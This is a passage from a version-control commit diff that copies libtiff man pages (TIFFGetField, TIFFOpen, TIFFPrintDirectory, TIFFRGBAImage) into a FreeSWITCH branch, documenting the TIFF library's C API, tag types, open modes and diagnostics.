+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFGetField 3TIFF "March 18, 2005" "libtiff"
+.SH NAME
+TIFFGetField, TIFFVGetField \- get the value(s) of a tag in an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFGetField(TIFF *" tif ", ttag_t " tag ", " ... ")"
+.sp
+.B "#include <stdarg.h>"
+.sp
+.BI "int TIFFVGetField(TIFF *" tif ", ttag_t " tag ", va_list " ap ")"
+.br
+.BI "int TIFFGetFieldDefaulted(TIFF *" tif ", ttag_t " tag ", " ... ")"
+.br
+.BI "int TIFFVGetFieldDefaulted(TIFF *" tif ", ttag_t " tag ", va_list " ap ")"
+.SH DESCRIPTION
+.IR TIFFGetField
+returns the value of a tag or pseudo-tag associated with the the current
+directory of the opened
+.SM TIFF
+file
+.IR tif .
+(A
+.I pseudo-tag 
+is a parameter that is used to control the operation of the
+.SM TIFF
+library but whose value is not read or written to the underlying file.) The
+file must have been previously opened with
+.IR TIFFOpen (3TIFF).
+The tag is identified by
+.IR tag ,
+one of the values defined in the include file
+.B tiff.h
+(see also the table below). The type and number of values returned is
+dependent on the tag being requested. The programming interface uses a
+variable argument list as prescribed by the
+.IR stdarg (3)
+interface. The returned values should only be interpreted if
+.IR TIFFGetField
+returns 1.
+.PP
+.IR TIFFVGetField
+is functionally equivalent to
+.IR TIFFGetField
+except that it takes a pointer to a variable argument list.
+.I TIFFVGetField
+is useful for layering interfaces on top of the functionality provided by
+.IR TIFFGetField .
+.PP
+.IR TIFFGetFieldDefaulted
+and
+.IR TIFFVGetFieldDefaulted
+are identical to 
+.IR TIFFGetField
+and
+.IR TIFFVGetField ,
+except that if a tag is not defined in the current directory and it has a
+default value, then the default value is returned.
+.PP
+The tags understood by
+.IR libtiff(3TIFF),
+the number of parameter values, and the types for the returned values are
+shown below. The data types are specified as in C and correspond to the types
+used to specify tag values to
+.IR TIFFSetField (3TIFF).
+Remember that
+.IR TIFFGetField
+returns parameter values, so all the listed data types are pointers to storage
+where values should be returned.
+Consult the
+.SM TIFF
+specification (or relevant industry specification) for information on the
+meaning of each tag and their possible values.
+.PP
+.nf
+.ta \w'TIFFTAG_CONSECUTIVEBADFAXLINES'u+2n +\w'Count'u+2n +\w'TIFFFaxFillFunc*'u+2n
+\fITag Name\fP	\fICount\fP	\fITypes\fP	\fINotes\fP
+.sp 5p
+TIFFTAG_ARTIST	1	char**
+TIFFTAG_BADFAXLINES	1	uint32*
+TIFFTAG_BITSPERSAMPLE	1	uint16*
+TIFFTAG_CLEANFAXDATA	1	uint16*
+TIFFTAG_COLORMAP	3	uint16**	1<<BitsPerSample arrays
+TIFFTAG_COMPRESSION	1	uint16*
+TIFFTAG_CONSECUTIVEBADFAXLINES	1	uint32*
+TIFFTAG_COPYRIGHT	1	char**
+TIFFTAG_DATATYPE	1	uint16*
+TIFFTAG_DATETIME	1	char**
+TIFFTAG_DOCUMENTNAME	1	char**
+TIFFTAG_DOTRANGE	2	uint16*
+TIFFTAG_EXTRASAMPLES	2	uint16*,uint16**	count & types array
+TIFFTAG_FAXFILLFUNC	1	TIFFFaxFillFunc*	G3/G4 compression pseudo-tag
+TIFFTAG_FAXMODE	1	int*	G3/G4 compression pseudo-tag
+TIFFTAG_FILLORDER	1	uint16*
+TIFFTAG_GROUP3OPTIONS	1	uint32*
+TIFFTAG_GROUP4OPTIONS	1	uint32*
+TIFFTAG_HALFTONEHINTS	2	uint16*
+TIFFTAG_HOSTCOMPUTER	1	char**
+TIFFTAG_ICCPROFILE	2	uint32*,void**	count, profile data
+TIFFTAG_IMAGEDEPTH	1	uint32*
+TIFFTAG_IMAGEDESCRIPTION	1	char**
+TIFFTAG_IMAGELENGTH	1	uint32*
+TIFFTAG_IMAGEWIDTH	1	uint32*
+TIFFTAG_INKNAMES	1	char**
+TIFFTAG_INKSET	1	uint16*
+TIFFTAG_JPEGCOLORMODE	1	int*	JPEG pseudo-tag
+TIFFTAG_JPEGQUALITY	1	int*	JPEG pseudo-tag
+TIFFTAG_JPEGTABLES	2	uint32*,void**	count & tables
+TIFFTAG_JPEGTABLESMODE	1	int*	JPEG pseudo-tag
+TIFFTAG_MAKE	1	char**
+TIFFTAG_MATTEING	1	uint16*
+TIFFTAG_MAXSAMPLEVALUE	1	uint16*
+TIFFTAG_MINSAMPLEVALUE	1	uint16*
+TIFFTAG_MODEL	1	char**
+TIFFTAG_ORIENTATION	1	uint16*
+TIFFTAG_PAGENAME	1	char**
+TIFFTAG_PAGENUMBER	2	uint16*
+TIFFTAG_PHOTOMETRIC	1	uint16*
+TIFFTAG_PHOTOSHOP	2	uint32*,void**	count, data
+TIFFTAG_PLANARCONFIG	1	uint16*
+TIFFTAG_PREDICTOR	1	uint16*
+TIFFTAG_PRIMARYCHROMATICITIES	1	float**	6-entry array
+TIFFTAG_REFERENCEBLACKWHITE	1	float**	2*SamplesPerPixel array
+TIFFTAG_RESOLUTIONUNIT	1	uint16*
+TIFFTAG_RICHTIFFIPTC	2	uint32*,void**	count, data
+TIFFTAG_ROWSPERSTRIP	1	uint32*
+TIFFTAG_SAMPLEFORMAT	1	uint16*
+TIFFTAG_SAMPLESPERPIXEL	1	uint16*
+TIFFTAG_SMAXSAMPLEVALUE	1	double*
+TIFFTAG_SMINSAMPLEVALUE	1	double*
+TIFFTAG_SOFTWARE	1	char**
+TIFFTAG_STONITS	1	double**
+TIFFTAG_STRIPBYTECOUNTS	1	uint32**
+TIFFTAG_STRIPOFFSETS	1	uint32**
+TIFFTAG_SUBFILETYPE	1	uint32*
+TIFFTAG_SUBIFD	2	uint16*,uint32**	count & offsets array
+TIFFTAG_TARGETPRINTER	1	char**
+TIFFTAG_THRESHHOLDING	1	uint16*
+TIFFTAG_TILEBYTECOUNTS	1	uint32**
+TIFFTAG_TILEDEPTH	1	uint32*
+TIFFTAG_TILELENGTH	1	uint32*
+TIFFTAG_TILEOFFSETS	1	uint32**
+TIFFTAG_TILEWIDTH	1	uint32*
+TIFFTAG_TRANSFERFUNCTION	1 or 3\(dg	uint16**1<<BitsPerSample entry arrays
+TIFFTAG_WHITEPOINT	1	float**	2-entry array
+TIFFTAG_XMLPACKET	2	uint32*,void**	count, data
+TIFFTAG_XPOSITION	1	float*
+TIFFTAG_XRESOLUTION	1	float*
+TIFFTAG_YCBCRCOEFFICIENTS	1	float**	3-entry array
+TIFFTAG_YCBCRPOSITIONING	1	uint16*
+TIFFTAG_YCBCRSUBSAMPLING	2	uint16*
+TIFFTAG_YPOSITION	1	float*
+TIFFTAG_YRESOLUTION	1	float*\(dd
+.fi
+\(dg If
+.I SamplesPerPixel
+is one, then a single array is returned; otherwise three arrays are returned.
+.fi
+\(dd The contents of this field are quite complex.  See 
+.IR "The ICC Profile Format Specification" ,
+Annex B.3 "Embedding ICC Profiles in TIFF Files" (available at
+http://www.color.org) for an explanation.
+.SH AUTOREGISTERED TAGS
+If you can't find the tag in the table above that means this is unsupported
+tag. But you still be able to read it's value if you know the data type of
+that tag. For example, if you want to read the LONG value from the tag 33424
+and ASCII string from the tag 36867 you can use the following code:
+.PP
+.RS
+.nf
+uint16  count;
+void    *data;
+
+TIFFGetField(tiff, 33424, &count, &data);
+printf("Tag %d: %d, count %d\n", 33424, *(uint32 *)data, count);
+TIFFGetField(tiff, 36867, &count, &data);
+printf("Tag %d: %s, count %d\n", 36867, (char *)data, count);
+.fi
+.RE
+.PP
+
+
+is not supported by
+.BR libtiff(3TIFF),
+library
+.SH RETURN VALUES
+1 is returned if the tag is defined in the current directory; otherwise a 0 is
+returned.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.PP
+.BR "Unknown field, tag 0x%x" .
+An unknown tag was supplied.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFSetField (3TIFF),
+.BR TIFFSetDirectory (3TIFF),
+.BR TIFFReadDirectory (3TIFF),
+.BR TIFFWriteDirectory (3TIFF)
+.BR libtiff (3TIFF),
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFOpen.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFOpen.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFOpen.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFOpen.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFOpen.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,279 @@
+.\" $Id: TIFFOpen.3tiff,v 1.2 2005/07/01 12:36:22 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFOpen 3TIFF "July 1, 2005" "libtiff"
+.SH NAME
+TIFFOpen, TIFFFdOpen, TIFFClientOpen \- open a
+.SM TIFF
+file for reading or writing
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "TIFF* TIFFOpen(const char *" filename ", const char *" mode ")"
+.br
+.BI "TIFF* TIFFFdOpen(const int " fd ", const char *" filename ", const char *" mode ")"
+.sp
+.B "typedef tsize_t (*TIFFReadWriteProc)(thandle_t, tdata_t, tsize_t);"
+.br
+.B "typedef toff_t (*TIFFSeekProc)(thandle_t, toff_t, int);"
+.br
+.B "typedef int (*TIFFCloseProc)(thandle_t);"
+.br
+.B "typedef toff_t (*TIFFSizeProc)(thandle_t);"
+.br
+.B "typedef int (*TIFFMapFileProc)(thandle_t, tdata_t*, toff_t*);"
+.br
+.B "typedef void (*TIFFUnmapFileProc)(thandle_t, tdata_t, toff_t);"
+.sp
+.BI "TIFF* TIFFClientOpen(const char *" filename ", const char *" mode ", thandle_t " clientdata ", TIFFReadWriteProc " readproc ", TIFFReadWriteProc " writeproc ", TIFFSeekProc " seekproc ", TIFFCloseProc " closeproc ", TIFFSizeProc " sizeproc ", TIFFMapFileProc " mapproc ", TIFFUnmapFileProc " unmapproc ")"
+.SH DESCRIPTION
+.IR TIFFOpen
+opens a
+.SM TIFF
+file whose name is
+.I filename
+and returns a handle to be used in subsequent calls to routines in
+.IR libtiff .
+If the open operation fails, then zero is returned.
+The
+.I mode
+parameter specifies if the file is to be opened for reading (``r''),
+writing (``w''), or appending (``a'') and, optionally, whether
+to override certain default aspects of library operation (see below).
+When a file is opened for appending, existing data will not
+be touched; instead new data will be written as additional subfiles.
+If an existing file is opened for writing, all previous data is
+overwritten.
+.PP
+If a file is opened for reading, the first
+.SM TIFF
+directory in the file is automatically read
+(also see
+.IR TIFFSetDirectory (3TIFF)
+for reading directories other than the first).
+If a file is opened for writing or appending, a default directory
+is automatically created for writing subsequent data.
+This directory has all the default values specified in
+.SM TIFF
+Revision 6.0:
+.IR BitsPerSample =1,
+.IR ThreshHolding "=bilevel art scan,"
+.IR FillOrder =1
+(most significant bit of each data byte is filled first),
+.IR Orientation =1
+(the 0th row represents the visual top of the image, and the 0th
+column represents the visual left hand side),
+.IR SamplesPerPixel =1,
+.IR RowsPerStrip =infinity,
+.IR ResolutionUnit =2
+(inches), and
+.IR Compression =1
+(no compression).
+To alter these values, or to define values for additional fields,
+.IR TIFFSetField (3TIFF)
+must be used.
+.PP
+.IR TIFFFdOpen
+is like
+.IR TIFFOpen
+except that it opens a
+.SM TIFF
+file given an open file descriptor
+.IR fd .
+The file's name and mode must reflect that of the open descriptor.
+The object associated with the file descriptor
+.BR "must support random access" .
+.PP
+.IR TIFFClientOpen
+is like
+.IR TIFFOpen
+except that the caller supplies a collection of functions that the
+library will use to do \s-1UNIX\s+1-like I/O operations. 
+The
+.I readproc
+and
+.I writeproc
+are called to read and write data at the current file position.
+.I seekproc
+is called to change the current file position a la
+.IR lseek (2).
+.I closeproc
+is invoked to release any resources associated with an open file.
+.I sizeproc
+is invoked to obtain the size in bytes of a file.
+.I mapproc
+and
+.I unmapproc
+are called to map and unmap a file's contents in memory; c.f.
+.IR mmap (2)
+and
+.IR munmap (2).
+The
+.I clientdata
+parameter is an opaque ``handle'' passed to the client-specified
+routines passed as parameters to
+.IR TIFFClientOpen .
+.SH OPTIONS
+The open mode parameter can include the following flags in
+addition to the ``r'', ``w'', and ``a'' flags.
+Note however that option flags must follow the read-write-append
+specification.
+.TP
+.B l
+When creating a new file force information be written with
+Little-Endian byte order (but see below).
+By default the library will create new files using the native
+.SM CPU
+byte order.
+.TP
+.B b
+When creating a new file force information be written with
+Big-Endian byte order (but see below).
+By default the library will create new files using the native
+.SM CPU
+byte order.
+.TP
+.B L
+Force image data that is read or written to be treated with
+bits filled from Least Significant Bit (\s-1LSB\s+1) to
+Most Significant Bit (\s-1MSB\s+1).
+Note that this is the opposite to the way the library has
+worked from its inception.
+.TP
+.B B
+Force image data that is read or written to be treated with
+bits filled from Most Significant Bit (\s-1MSB\s+1) to
+Least Significant Bit (\s-1LSB\s+1); this is the default.
+.TP
+.B H
+Force image data that is read or written to be treated with
+bits filled in the same order as the native 
+.SM CPU.
+.TP
+.B M
+Enable the use of memory-mapped files for images opened read-only.
+If the underlying system does not support memory-mapped files
+or if the specific image being opened cannot be memory-mapped
+then the library will fallback to using the normal system interface
+for reading information.
+By default the library will attempt to use memory-mapped files.
+.TP
+.B m
+Disable the use of memory-mapped files.
+.TP
+.B C
+Enable the use of ``strip chopping'' when reading images
+that are comprised of a single strip or tile of uncompressed data.
+Strip chopping is a mechanism by which the library will automatically
+convert the single-strip image to multiple strips,
+each of which has about 8 Kilobytes of data.
+This facility can be useful in reducing the amount of memory used
+to read an image because the library normally reads each strip
+in its entirety.
+Strip chopping does however alter the apparent contents of the
+image because when an image is divided into multiple strips it
+looks as though the underlying file contains multiple separate
+strips.
+Finally, note that default handling of strip chopping is a compile-time
+configuration parameter.
+The default behaviour, for backwards compatibility, is to enable
+strip chopping.
+.TP
+.B c
+Disable the use of strip chopping when reading images.
+.TP
+.B h
+Read TIFF header only, do not load the first image directory. That could be
+useful in case of the broken first directory. We can open the file and proceed
+to the other directories.
+.SH "BYTE ORDER"
+The 
+.SM TIFF
+specification (\fBall versions\fP) states that compliant readers
+.IR "must be capable of reading images written in either byte order" .
+Nonetheless some software that claims to support the reading of
+.SM TIFF
+images is incapable of reading images in anything but the native
+.SM CPU
+byte order on which the software was written.
+(Especially notorious
+are applications written to run on Intel-based machines.)
+By default the library will create new files with the native
+byte-order of the 
+.SM CPU
+on which the application is run.
+This ensures optimal performance and is portable to any application
+that conforms to the TIFF specification.
+To force the library to use a specific byte-order when creating
+a new file the ``b'' and ``l'' option flags may be included in
+the call to open a file; for example, ``wb'' or ``wl''.
+.SH "RETURN VALUES"
+Upon successful completion 
+.IR TIFFOpen ,
+.IR TIFFFdOpen ,
+and
+.IR TIFFClientOpen
+return a 
+.SM TIFF
+pointer.
+Otherwise, NULL is returned.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.IR TIFFError (3TIFF)
+routine.
+Likewise, warning messages are directed to the
+.IR TIFFWarning (3TIFF)
+routine.
+.PP
+\fB"%s": Bad mode\fP.
+The specified
+.I mode
+parameter was not one of ``r'' (read), ``w'' (write), or ``a'' (append).
+.PP
+.BR "%s: Cannot open" .
+.IR TIFFOpen ()
+was unable to open the specified filename for read/writing.
+.PP
+.BR "Cannot read TIFF header" .
+An error occurred while attempting to read the header information.
+.PP
+.BR "Error writing TIFF header" .
+An error occurred while writing the default header information
+for a new file.
+.PP
+.BR "Not a TIFF file, bad magic number %d (0x%x)" .
+The magic number in the header was not (hex)
+0x4d4d or (hex) 0x4949.
+.PP
+.BR "Not a TIFF file, bad version number %d (0x%x)" .
+The version field in the header was not 42 (decimal).
+.PP
+.BR "Cannot append to file that has opposite byte ordering" .
+A file with a byte ordering opposite to the native byte
+ordering of the current machine was opened for appending (``a'').
+This is a limitation of the library.
+.SH "SEE ALSO"
+.IR libtiff (3TIFF),
+.IR TIFFClose (3TIFF)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFPrintDirectory.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFPrintDirectory.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFPrintDirectory.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFPrintDirectory.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFPrintDirectory.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,70 @@
+.\" $Id: TIFFPrintDirectory.3tiff,v 1.1 2004/11/11 14:39:16 dron Exp $
+.\"
+.\" Copyright (c) 1991-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFPrintDirectory 3TIFF "December 12, 1991" "libtiff"
+.SH NAME
+TIFFPrintDirectory \- print a description of a
+.SM TIFF
+directory
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "void TIFFPrintDirectory(TIFF *" tif ", FILE *" fd ", long " flags ")"
+.SH DESCRIPTION
+.I TIFFPrintDirectory
+prints a description of the current directory in the specified
+.SM TIFF
+file to the standard I/O output stream
+.IR fd .
+The
+.I flags
+parameter is used to control the
+.I "level of detail"
+of the printed information; it is a bit-or of the flags defined in
+.BR tiffio.h :
+.sp .5
+.nf
+.ta \w'#define 'u +\w'TIFFPRINT_JPEGDCTABLES  'u +\w'0x200   'u
+#define	TIFFPRINT_NONE	0x0	/* no extra info */
+#define	TIFFPRINT_STRIPS	0x1	/* strips/tiles info */
+#define	TIFFPRINT_CURVES	0x2	/* color/gray response curves */
+#define	TIFFPRINT_COLORMAP	0x4	/* colormap */
+#define	TIFFPRINT_JPEGQTABLES	0x100	/* JPEG Q matrices */
+#define	TIFFPRINT_JPEGACTABLES	0x200	/* JPEG AC tables */
+#define	TIFFPRINT_JPEGDCTABLES	0x200	/* JPEG DC tables */
+.fi
+.SH NOTES
+In C++ the
+.I flags
+parameter defaults to 0.
+.SH "RETURN VALUES"
+None.
+.SH DIAGNOSTICS
+None.
+.SH "SEE ALSO"
+.IR libtiff (3TIFF),
+.IR TIFFOpen (3TIFF),
+.IR TIFFReadDirectory (3TIFF),
+.IR TIFFSetDirectory (3TIFF)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFRGBAImage.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFRGBAImage.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFRGBAImage.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFRGBAImage.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFRGBAImage.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,286 @@
+.\" $Id: TIFFRGBAImage.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1991-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFRGBAImage 3TIFF "October 29, 2004" "libtiff"
+.SH NAME
+TIFFRGBAImageOK, TIFFRGBAImageBegin, TIFFRGBAImageGet, TIFFRGBAImageEnd
+\- read and decode an image into a raster
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.B "typedef unsigned char TIFFRGBValue;"
+.B "typedef struct _TIFFRGBAImage TIFFRGBAImage;"
+.sp
+.BI "int TIFFRGBAImageOK(TIFF *" tif ", char " emsg[1024] ")"
+.br
+.BI "int TIFFRGBAImageBegin(TIFFRGBAImage *" img ", TIFF* " tif ", int " stopOnError ", char " emsg[1024] ")"
+.br
+.BI "int TIFFRGBAImageGet(TIFFRGBAImage *" img ", uint32* " raster ", uint32 " width " , uint32 " height ")"
+.br
+.BI "void TIFFRGBAImageEnd(TIFFRGBAImage *" img ")"
+.br
+.SH DESCRIPTION
+The routines described here provide a high-level interface
+through which
+.SM TIFF
+images may be read into memory.
+Images may be strip- or tile-based and have a variety of different
+characteristics: bits/sample, samples/pixel, photometric, etc.
+Decoding state is encapsulated in a
+.I TIFFRGBAImage
+structure making it possible to capture state for multiple images
+and quickly switch between them.
+The target raster format can be customized to a particular application's
+needs by installing custom routines that manipulate image data
+according to application requirements.
+.PP
+The default usage for these routines is: check if an image can
+be processed using
+.IR TIFFRGBAImageOK ,
+construct a decoder state block using
+.IR TIFFRGBAImageBegin ,
+read and decode an image into a target raster using
+.IR TIFFRGBAImageGet ,
+and then
+release resources using
+.IR TIFFRGBAImageEnd .
+.I TIFFRGBAImageGet
+can be called multiple times to decode an image using different
+state parameters.
+If multiple images are to be displayed and there is not enough
+space for each of the decoded rasters, multiple state blocks can
+be managed and then calls can be made to
+.I TIFFRGBAImageGet
+as needed to display an image.
+.PP
+The generated raster is assumed to be an array of
+.I width
+times
+.I height
+32-bit entries, where
+.I width
+must be less than or equal to the width of the image (\c
+.I height
+may be any non-zero size).
+If the raster dimensions are smaller than the image, the image data
+is cropped to the raster bounds.
+If the raster height is greater than that of the image, then the
+image data are placed in the lower part of the raster.
+(Note that the raster is assume to be organized such that the pixel
+at location (\fIx\fP,\fIy\fP) is \fIraster\fP[\fIy\fP*\fIwidth\fP+\fIx\fP];
+with the raster origin in the 
+.B lower-left
+hand corner.)
+.PP
+Raster pixels are 8-bit packed red, green, blue, alpha samples.
+The macros
+.IR TIFFGetR ,
+.IR TIFFGetG ,
+.IR TIFFGetB ,
+and
+.I TIFFGetA
+should be used to access individual samples.
+Images without Associated Alpha matting information have a constant
+Alpha of 1.0 (255).
+.PP
+.I TIFFRGBAImageGet
+converts non-8-bit images by scaling sample values.
+Palette, grayscale, bilevel, 
+.SM CMYK\c
+, and YCbCr images are converted to
+.SM RGB
+transparently.
+Raster pixels are returned uncorrected by any colorimetry information
+present in the directory.
+.PP
+The parameter
+.I stopOnError
+specifies how to act if an error is encountered while reading
+the image.
+If
+.I stopOnError
+is non-zero, then an error will terminate the operation; otherwise
+.I TIFFRGBAImageGet
+will continue processing data until all the possible data in the
+image have been requested.
+.SH "ALTERNATE RASTER FORMATS"
+To use the core support for reading and processing 
+.SM TIFF
+images, but write the resulting raster data in a different format
+one need only override the ``\fIput methods\fP'' used to store raster data.
+These methods are are defined in the
+.I TIFFRGBAImage
+structure and initially setup by
+.I TIFFRGBAImageBegin
+to point to routines that pack raster data in the default
+.SM ABGR
+pixel format.
+Two different routines are used according to the physical organization
+of the image data in the file: 
+.IR PlanarConfiguration =1
+(packed samples),
+and 
+.IR PlanarConfiguration =2
+(separated samples).
+Note that this mechanism can be used to transform the data before
+storing it in the raster.
+For example one can convert data
+to colormap indices for display on a colormap display.
+.SH "SIMULTANEOUS RASTER STORE AND DISPLAY"
+It is simple to display an image as it is being read into memory
+by overriding the put methods as described above for supporting
+alternate raster formats.
+Simply keep a reference to the default put methods setup by
+.I TIFFRGBAImageBegin
+and then invoke them before or after each display operation.
+For example, the
+.IR tiffgt (1)
+utility uses the following put method to update the display as
+the raster is being filled:
+.sp
+.nf
+.ft C
+static void
+putContigAndDraw(TIFFRGBAImage* img, uint32* raster,
+    uint32 x, uint32 y, uint32 w, uint32 h,
+    int32 fromskew, int32 toskew,
+    unsigned char* cp)
+{
+    (*putContig)(img, raster, x, y, w, h, fromskew, toskew, cp);
+    if (x+w == width) {
+	w = width;
+	if (img->orientation == ORIENTATION_TOPLEFT)
+	    lrectwrite(0, y-(h-1), w-1, y, raster-x-(h-1)*w);
+	else
+	    lrectwrite(0, y, w-1, y+h-1, raster);
+    }
+}
+.ft R
+.fi
+.sp
+(the original routine provided by the library is saved in the
+variable 
+.IR putContig .)
+.SH "SUPPORTING ADDITIONAL TIFF FORMATS"
+The
+.I TIFFRGBAImage
+routines support the most commonly encountered flavors of
+.SM TIFF.
+It is possible to extend this support by overriding the ``\fIget method\fP''
+invoked by
+.I TIFFRGBAImageGet
+to read 
+.SM TIFF
+image data.
+Details of doing this are a bit involved, it is best to make a copy
+of an existing get method and modify it to suit the needs of an
+application.
+.SH NOTES
+Samples must be either 1, 2, 4, 8, or 16 bits.
+Colorimetric samples/pixel must be either 1, 3, or 4 (i.e.
+.I SamplesPerPixel
+minus
+.IR ExtraSamples ).
+.PP
+Palette image colormaps that appear to be incorrectly written
+as 8-bit values are automatically scaled to 16-bits.
+.SH "RETURN VALUES"
+All routines return
+1 if the operation was successful.
+Otherwise, 0 is returned if an error was encountered and
+.I stopOnError
+is zero.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.IR TIFFError (3TIFF)
+routine.
+.PP
+.BR "Sorry, can not handle %d-bit pictures" .
+The image had
+.I BitsPerSample
+other than 1, 2, 4, 8, or 16.
+.PP
+.BR "Sorry, can not handle %d-channel images" .
